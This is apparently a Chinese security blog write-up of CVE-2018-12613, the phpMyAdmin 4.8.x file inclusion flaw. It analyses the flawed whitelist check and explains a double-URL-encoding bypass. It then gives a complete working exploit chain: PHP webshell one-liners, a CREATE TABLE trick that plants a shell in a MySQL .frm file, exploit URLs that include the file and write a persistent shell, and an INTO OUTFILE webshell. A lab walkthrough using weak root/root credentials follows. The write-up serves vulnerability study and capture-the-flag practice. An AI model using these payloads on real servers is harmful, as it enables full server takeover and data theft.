CVE-2018-12613总结
1.漏洞基础介绍
1.1漏洞背景
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
ChaMd5安全团队披露了他们发现的一个phpMyAdmin文件包含漏洞,并且演示了如何将本地文件包含升级至远程命令执行。随后,phpmyadmin在最新版本修复了这个严重级别的漏洞。
1.2漏洞介绍
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
$ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
$ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
影响版本:phpMyAdmin 4.8.0和4.8.1
2.漏洞原理分析
有了上面的基础知识后,我们就可以进入本篇文章的重头环节——漏洞的原理分析。
2.1 源码分析
该漏洞在phpMyAdmin4.8.0和4.8.1中存在,这里以phpMyAdmin的4.8.1版本为例进行分析。首先我们要获取phpMyAdmin4.8.1的源码,当然没有源码也并不妨碍你读懂该篇文章,与漏洞相关的重要的代码都已经显示在文章中。将我们的源码使用seay(代码审计工具)打开。因为我们已经明确该漏洞是文件包含漏洞,所以直接在seay中全局搜索include关键字,发现代码中存在大量的include。但是大部分的include都是类似于下面这种
include'libraries/db_common.inc.php';
将包含的文件名或者路径写死在程序中,也就是说用户无法控制包含的文件也就不存在文件包含漏洞。我们主要是寻找用户可以控制文件路径的include函数。本文讨论的漏洞出现index.php文件的在下面的代码中
include$_REQUEST['target'];
从代码中可以看出,他会从客户端接收数据,然后将数据指定的文件包含到程序中,显然我们可以控制包含的文件。这便是我们要执行的目标代码。
接着仔细查看该段代码出现的文件内容,查看如何能够触发文件包含,也就是说如何能够让程序执行到存在文件包含漏洞的代码。从目标代码往前查看,寻找die、exit这些能够导致退出脚本的语句。我们在代码中找到了如下的内容
if(!
empty($_REQUEST['target'])
&&
is_string($_REQUEST['target'])
&&
!
preg_match('/^index/',
$_REQUEST['target'])
&&
!
in_array($_REQUEST['target'],
$target_blacklist)
&&
Core
::checkPageValidity($_REQUEST['target'])
){
include
$_REQUEST['target'];
exit
;
}
可以看到我们要执行的目标代码本身位于一个if判断中,该if判断中存在五个条件
条件编号 |
条件内容 |
条件1 |
!empty($_REQUEST[‘target’]) |
条件2 |
is_string($_REQUEST[‘target’]) |
条件3 |
!preg_match(’/^index/’, $_REQUEST[‘target’]) |
条件4 |
!in_array($_REQUEST[‘target’], $target_blacklist) |
条件5 |
Core::checkPageValidity($_REQUEST[‘target’]) |
必须要同时满足上面的5个条件才可以执行我们的目标代码。条件1表示来自客户端的传参的target字段值不可以为空;条件2表示target字段的值必须要是字符串;条件3表示target字段的值不可以以index开头。在条件4中出现了一个新的变量$target_blacklist,在条件5中有一个函数Core::checkPageValidity。接下来我们要研究这一个变量和一个函数。
根据该变量的命名可以推测,该变量应该是一个黑名单。在程序中找到了该变量的定义如下
$target_blacklist=
array
(
'import.php',
'export.php'
);
可以看到变量$target_blacklist是一个数组,里面存放的是两个文件名。也就是说该变量确实是一个黑名单,条件4是判断target的值是否在黑名单中,如果在黑名单中in_array函数就会为真,而!in_array也就为假。整个的if就会不成立,所以我们输入的target的内容不可以为import.php或者export.php。
弄清了变量的意思,接下来要看看函数
Core
::checkPageValidity
的作用,在程序中找到该函数的定义如下
classCore
{
//...
public
static
function
checkPageValidity(&$page,
array
$whitelist
=
[])
{
if
(empty($whitelist))
{
$whitelist
=
self
::$goto_whitelist;
}
if
(!
isset($page)
||
!is_string($page))
{
return
false;
}
if
(in_array($page,
$whitelist))
{
return
true;
}
$_page
=
mb_substr(
$page,
0,
mb_strpos($page
.
'?',
'?')
);
if
(in_array($_page,
$whitelist))
{
return
true;
}
$_page
=
urldecode($page);
$_page
=
mb_substr(
$_page,
0,
mb_strpos($_page
.
'?',
'?')
);
if
(in_array($_page,
$whitelist))
{
return
true;
}
return
false;
}
//...
}
该函数是Core类的一个静态方法。代码的作者在代码中对该函数的功能进行了描述,即该函数会根据白名单对target传参进行审查,如果target的值在名单中该函数就会返回true。其中白名单存放在$whitelist变量中。
接下来我们来仔细的分析一下该函数的处理逻辑。可以看到在该函数中存在5个if判断,分别是
判断编号 |
判断内容 |
判断1 |
if(empty($whitelist)) |
判断2 |
if(!isset($page)||! is_string($page)) |
判断3 |
if(in_array($page, $whitelist)) |
判断4 |
if(in_array($page, $whitelist)) |
判断5 |
if(in_array($page, $whitelist)) |
因为在函数中定义了如果$whitelist在传参的时候为缺省,就会直接置为空值。
publicstatic
function
checkPageValidity(&$page,
array
$whitelist
=
[])
所以第一个if判断是在函数是对白名单进行初始化操作,原始的白名单内容存放在变量$goto_whitelist中,该变量的值为
publicstatic
$goto_whitelist
=
array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
//......
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
在执行完第一个判断后,变量$whitelist中就存放了白名单的内容。判断1只是完成白名单的初始化操作,与我们传参的内容无关。接着看判断2,
if(!
isset($page)
||
!is_string($page))
该判断是用来检测我们target字段的值是否不为空且类型为字符串。后面三个判断都是检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true。
if
(in_array($_page,
$whitelist))
但是关键点在于如果不在白名单中该函数并没有直接返回false,而是对target字段的值进行了处理然后再进行匹配。
判断3是直接判断target字段的值是否在白名单中,如果不在白名单中会执行下面的代码
$_page=
mb_substr(
$page,
0,
mb_strpos($page
.
'?',
'?')
);
该段代码会截取传参之前的内容,比如我们传入的内容是index.php?id=1,经过该函数处理后会变成index.php。然后将截取到的文件名与白名单进行匹配,也就是判断4执行的内容。如果匹配成功返回true,匹配失败接着对target的值进行处理,会执行下面的代码
$_page=
urldecode($page);
$_page=
mb_substr(
$_page,
0,
mb_strpos($_page
.
'?',
'?')
);
该段代码会对target的值进行URL解码,然后对解码后的内容截取?传参之前的内容。在将截取到的内容与白名单进行匹配,也就是执行判断5的内容,这是最后一个判断。如果该判断成立会返回true。所有的判断都不成立就会返回false。
2.2 构造payload
2.2.1 设想一:target=db_sql.php?/…/
如果我们想成功执行
include$_REQUEST['target'];
必须要使我们的target传参同时满足以下5个条件
条件编号 |
条件内容 |
说明 |
条件1 |
!empty($_REQUEST[‘target’]) |
target的值不可以为空 |
条件2 |
is_string($_REQUEST[‘target’]) |
target的值的类型必须为字符串 |
条件3 |
!preg_match(’/^index/’, $_REQUEST[‘target’]) |
target的值不能以index开头 |
条件4 |
!in_array($_REQUEST[‘target’], $target_blacklist) |
target的值不能为import.php, export.php |
条件5 |
Core::checkPageValidity($_REQUEST[‘target’]) |
target的值必须能够成功匹配白名单 |
在条件5的函数中又存在5条判断
判断编号 |
判断内容 |
说明 |
判断1 |
if(empty($whitelist)) |
白名单不可以为空 |
判断2 |
if(!isset($page)||!is_string($page)) |
target的值不可以为空且类型为字符串 |
判断3 |
if(in_array($page, $whitelist)) |
将原生的target值与白名单进行匹配 |
判断4 |
if(in_array($page, $whitelist)) |
将去掉传参的targte的值与白名单进行匹配 |
判断5 |
if(in_array($page, $whitelist)) |
将URL解码并去掉传参的target的值域白名单进行匹配 |
前两条判断可以很顺利的通过,在第三条判断中不存在操作空间,因为他会直接将我们传参的内容与白名单进行匹配。在第四条判断中,我们可以构想如下的payload
target=db_sql.php?/../
该payload表示的路径是当前工作目录,如果该payload可以在include中成功的被包含,那么我们就可以以当前目录为依据完成文件包含。其中db_sql.php是白名单中的文件,显然该target的值可以顺利的通过前4个条件,
!empty($_REQUEST['target'])
&&is_string($_REQUEST['target'])
&&!
preg_match('/^index/',
$_REQUEST['target'])
&&!
in_array($_REQUEST['target'],
$target_blacklist)
在执行第5个条件的时候
&&Core
::checkPageValidity($_REQUEST['target'])
进入checkPageValidity函数函数中执行5个判断,
if(empty($whitelist))
if(!isset($page)||!is_string($page))
if(in_array($page,$whitelist))
if(in_array($page,$whitelist))
if(in_array($page,$whitelist))
判断1与我们输入的内容无关,判断2显然可以顺利通过,
if(empty($whitelist))
if(!isset($page)||!is_string($page))
在执行判断3与白名单进行匹配的时候会匹配失败,然后执行判断4,判断4会去除?之后的内容,target的值从db_sql.php?/…/变成了db_sql.php,与白名单匹配成功了,直接返回true,也就让五个条件都成立,
!empty($_REQUEST['target'])
&&is_string($_REQUEST['target'])
&&!
preg_match('/^index/',
$_REQUEST['target'])
&&!
in_array($_REQUEST['target'],
$target_blacklist)
&&Core
::checkPageValidity($_REQUEST['target'])
然后执行我们的目标代码。
在执行checkPageValidity函数的时候并没有修改target的值,在对target的值进行处理后再匹配时,使用_page变量保存的处理的后的值,而没有直接修改target的值,所target的内容依据是我嗯输入的db_sql.php?/…/。但是include所使用的文件的路径中不可以包含特殊字符,而我们使用了?,所以依旧无法完成文件包含。
2.2.2 设想二:target=db_sql.php%253f/…/
虽然设想一没有完成文件包含。但是我们可以利用判断5中会进行URL解码来进行文件的包含。当我们使用GET进行传参的时候浏览器会对GET传递的数据进行URL编码,数据到达服务器后会进行URL解码。比如我们使用GET传递一个单引号(’),浏览器会将其编码为%27,然后传递给服务器端,服务器接收到数据后会进行URL解码,获得传递的值(’’)。但是如果我们手动在数据包中的将%27修改为%2527,那么服务器端接收到%2527的时候会进行一个URL解码,解码后变成了%27(%25是%的URL编码)。而站点的代码中又调用了urldecode函数对传参的内容进行URL解码,在第二次解码后,我们传递的内容变成了单引号(%27是单引号的URL编码)。也就是说客户端发送来的数据服务端进行了两次URL解码。
而我们这里的判断5中就调用urldecode函数。因此我们可以尝试构造下面的payload
target=db_sql.php%253f/../
首先服务器接收到该传参后进行一次URL解码,变成
target=db_sql.php%3f/../
该值可以顺利的通过前4个条件的判断,
!empty($_REQUEST['target'])
&&is_string($_REQUEST['target'])
&&!
preg_match('/^index/',
$_REQUEST['target'])
&&!
in_array($_REQUEST['target'],
$target_blacklist)
然后进入checkPageValidity函数,在执行判断3、4的时候均匹配失败(判断3匹配原声target的值,判断4匹配去掉传参后的target的值),于是执行判断5,在条件5中会对该值进行URL解码,变成了
target
=db_sql
.php
?/../
#%3f是?的URL编码
解码完成后,会去除去除传参,最终变成了
target
=db_sql
.php
能够成功的匹配白名单。因此条件5也成立,
&&Core
::checkPageValidity($_REQUEST['target'])
便能够执行目标代码
include$_REQUEST['target'];
虽然在checkPageValidity函数中对target的值进行了一系列处理,但是并没有影响到target真正的值,因为在使用处理后的target进行白名单匹配的时候,都是使用了一个新的变量接受target的值,而并没有直接影响target本来的值,所以target的值依旧为
target=db_sql.php?/../
现在target值并没有携带include无法接受的特殊符号,因此该payload可以成功跳回当前目录,我们就可以在后面添加任意的路径来包含任意的文件。
3.漏洞利用
知道了站点存在文件包含漏洞,也明确了绕过过滤的办法,接下来要解决的就是如何利用该漏洞。也可以基本设想就是在站点上传一个木马文件,然后通过文件包含漏洞包含该文件,也就是登录执行了木马程序,我们也就可以成功的getshell。
有了上面的基本设想,便可以开始下面的操作了。首先这里是一个后台文件包含的漏洞,因此首先我们需要登录phpMyAdmin。在这里我们无法上传文件,但是我们可以利用MySQL的数据在站点写入木马。
首先要知道MySQL中存放的数据都是以文件的形式存放在服务器上的,我们可以在服务器上创建一个表,该表包含只有一个字段,而这个字段名就是一个木马程序
<?php@
eval($_GET['cmd']);?>
或者是
<?phpfile_put_contents('1.php','<?php eval($_REQUEST[cmd])?>');?>
当我们将表的字段名设置为木马后,数据库会创建一个文件,文件中会包含该句代码,也就相当于我们在站点写入了一木马文件。这里使用第一个程序,创建一个表然后将表的字段名设置为木马
CREATETABLE
`
test
`.`wjbh
`(
`<
?php
@eval($_GET
['cmd']);?
>`INT);
完成了木马文件的写入后,我们要使用该漏洞来包含我们的木马文件。首先我们将页面的URL修改为
http://ip/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/wjbh.frm&cmd=phpinfo();
因为漏洞是出现在index.php文件中,我们对该文件进行传参
target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/test/wjbh.frm&cmd=phpinfo()
当index.php接收到target的传参的时候,会进行过滤。根据我们前面的分析,这里所使用的路径可以绕过站点的过滤,顺利的执行到include代码。当include包含该文件的时候会根据文件路径去寻找文件。这里的
db_sql.php%253f/..
表示的就是当前的工作目录,然后不断的通过’…'跳到上一级目录,无论跳了多少次,最多也只会回到根目录,因此我们可以多跳几次确保进入根目录中,然后在加上木马文件的路径
phpstudy
/mysql
/data
/test
/wjbh
.frm
#该路径是存放我们之前创建的表的文件
当程序包含了我们的木马程序后,会执行我们的木马程序,我们在URL中又对木马程序进行了传参
cmd
=phpinfo()
木马程序会将我们传参的内容当作代码执行,因此我们访问该URL后页面会显示phpinfo的内容,显示如下
说明该木马可以成功的执行,但是要我们要执行该木马文件需要登录phpMyAdmin,登录的步骤会给我们的后续操作代码不变,我们希望可以直接访问木马文件。因此我们可以控制该木马写入一个新的木马文件,将URL修改为
http://ip/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../phpstudy/mysql/data/zgj/wjbh.frm&cmd= file_put_contents('8.php','<?php @eval($_REQUEST[cmd])?>');
也就是想木马文件传参
file_put_contents('1.php','<?php @eval($_REQUEST[cmd])?>');
木马文件会执行我们传递的参数,然后会在站点的根目录下写入一个新的木马文件,我们可以通过下面的URL直接访问到该木马文件。
http://ip/phpmyadmin/1.php
有了该木马文件后,我们可以使用菜刀或者其他工具链接该站点,直接拿下站点的服务器,为所欲为。
4.实战利用:
墨者学院 phpMyAdmin后台文件包含分析溯源
网址:https://www.mozhe.cn/bug/detail/264
我们进入靶场,并开启靶场,可以进行该题目
直接输入url,如图所示,219.153.49.228:40477,这样就可以进如该题目,进入后发现是一个phpmyadmin的后台登录界面
我们考虑使用弱口令进行登录(万能密码也可以),弱口令(常见的root,admin,test)
本题是root和root,进入后可以发现:
它的版本是4.8.1,符合CVE-2018-12613漏洞,所以我们直接考虑用2种方法进行做题
方法1,构造payload,直接做题,原理及介绍在上面都有
?target=db_sql.php%253f/../../../../key.txt
至于为什么是在index.php下构造,用%253f,而不是?,原因是
如图所示结果是:
方法2,使用sql语句,一句话木马,菜刀连接
我们在在上面一栏中的功能栏中,可以发现有一个sql,我们打开后可以发现:
我们构造sql语句,将一句话木马输入其中
select into 的意思是通过 SQL,您可以从一个表复制信息到另一个表。
SELECT INTO 语句从一个表复制数据,然后把数据插入到另一个新表中。
而outfile的意思是输出文件,我们输入后面的那个文件,1.php的意思是那个一句话木马,也就是<?php eval($_POST[giao]);?>
至于为什么是/var/www/html目录下,大家可以看一下我的linux的各个目录的介绍
我们可以直接用蚁剑进行连接,url是url/1.php,也就是如下图所示:
连接成功后,我们可以发现:
我们逐次查看各级目录,在根目录下可以发现一个key.txt的文件,所以我们打开这个key.txt的文件就是我们此题的答案
key.txt的内容如下,也就是本题的答案,直接输入即可完成此题
CVE-2018-12613总结的更多相关文章
- 深入剖析最新IE0day漏洞
在2018年4月下旬,我们使用沙箱发现了IE0day漏洞;自从在野外发现上一个样本(CVE-2016-0189)已经有两年多了.从许多方面来看,这个特别的漏洞及其后续的开发比较有趣.下一篇文章将分析最 ...
- 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...
- Debian Security Advisory(Debian安全报告) DSA-4405-1 openjpeg2
package :openjpeg2 相关CVE ID: CVE-2017-17480 CVE-2018-5785 CVE-2018-6616 CVE-2018-14423 CVE-2018-1808 ...
- 2018-2019-2 20165330《网络对抗技术》Exp5 MSF基础应用
目录 基础问题 相关知识 实验目的 实验内容 实验步骤 离实战还缺些什么技术或步骤? 实验总结与体会 实验目的 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路 返回目 ...
- 2018-2019-2 网络对抗技术 20165230 Exp5 MSF基础应用
目录 1.实验内容 2.基础问题回答 3.实验内容 任务一:一个主动攻击实践 漏洞MS08_067(成功) 任务二:一个针对浏览器的攻击 ms11_050(成功) ms14_064(成功) 任务三:一 ...
- Linux提权常用漏洞速查表
漏洞列表 #CVE #Description #Kernels CVE–2018–18955 [map_write() in kernel/user_namespace.c allows privil ...
- 【转帖】2018年Windows漏洞年度盘点
2018年Windows漏洞年度盘点丨老漏洞经久不衰,新0day层出不穷 腾讯电脑管家2019-02-12共17875人围观 ,发现 1 个不明物体网络安全资讯 https://www.freebuf ...
- Gartner 2018 年WAF魔力象限报告:云WAF持续增长,Bot管理与API安全拥有未来
Gartner 2018 年WAF魔力象限报告:云WAF持续增长,Bot管理与API安全拥有未来 来源 https://www.freebuf.com/articles/paper/184903.ht ...
- 2017年总结&2018年计划
谈一谈2017年计划: 1.完成壁咚项目2.写一个自己的扫描器3.完善web安全手册.4.搞一个大漏洞或CVE的漏洞 完成进度:1.壁咚这个项目,当初发誓要用java来写完,其实最开始就已经写完了,前 ...
- CVE漏洞分析
分析cve-2018-9489漏洞和download content provider(CVE-2018-9468, CVE-2018-9493, CVE-2018-9546), 每人至少选择一个漏洞 ...
随机推荐
- Redis之Sentinel
Redis的主从复制模式下,一旦主节点由于故障不能提供服务,需要人工将从节点晋升为主节点,同时还要通知应用方更新主节点地址,对于很多应用场景这种故障处理的方式是无法接受的.可喜的是Redis从 2.8 ...
- 温故知新,DotNet Core SDK和.Net CLI十八般武艺
简介 .NET命令行接口 (CLI) 工具是用于开发.生成.运行和发布.NET应用程序的跨平台工具链. https://docs.microsoft.com/zh-cn/dotnet/core/too ...
- 如何优雅地实现浏览器兼容与CSS规则回退
读完了<Visual Studio Code权威指南>,前端方面书籍不能停,于是捡起「CSS一姐」 Lea Verou 的<CSS魔法>. 我们没法控制用户使用新版本还是老版本 ...
- 19、oracle的启动和关闭过程
19.1.oracle数据库实例的启动分三步: 1.启动oracle例程: startup nomount; #读初始化参数文件,启动实例,但不安装数据库.当数据库以这个模式启动时,参数文件被读取, ...
- js 正则表达式 验证数字或字母
let reg= /^(^[0-9]*$)|(^[A-Za-z]+$)/ /*reg= /^(?![0-9]+$)(?![a-zA-Z]+$)[0-9A-Za-z]$/*/ if(!reg.test( ...
- css实现文字过度变色效果
html: <div class="news text-center"> <a href="#"> <span>新</ ...
- ubuntu docker开启2375端口,支持远程访问
1.编辑docker文件:/usr/lib/systemd/system/docker.service vi /usr/lib/systemd/system/docker.service 2.Exec ...
- 南京大学计算机基础 ELF和可执行文件格式
1.可重定位目标文件格式 主要是由ELF头,一些节比如.text节,.rodata节,.data节,.bss节等,前面是只读的,后面是可读可写的,加上一个节头表 1.1 ELF头里面主要包含了16字节 ...
- 《基于JQuery和CSS的特效整理》系列分享专栏
<基于JQuery和CSS的特效整理>已整理成PDF文档,点击可直接下载至本地查阅https://www.webfalse.com/read/201724.html 文章 一款基于jQue ...
- runtime使用总结
runtime这个东西,项目是很少用到的,但面试又避不可少,了解其内部的机制对底层的理解还是很有必要的. 1.动态添加属性 拓展类别属性的简单实现 a.定义字面量指针 static char dyna ...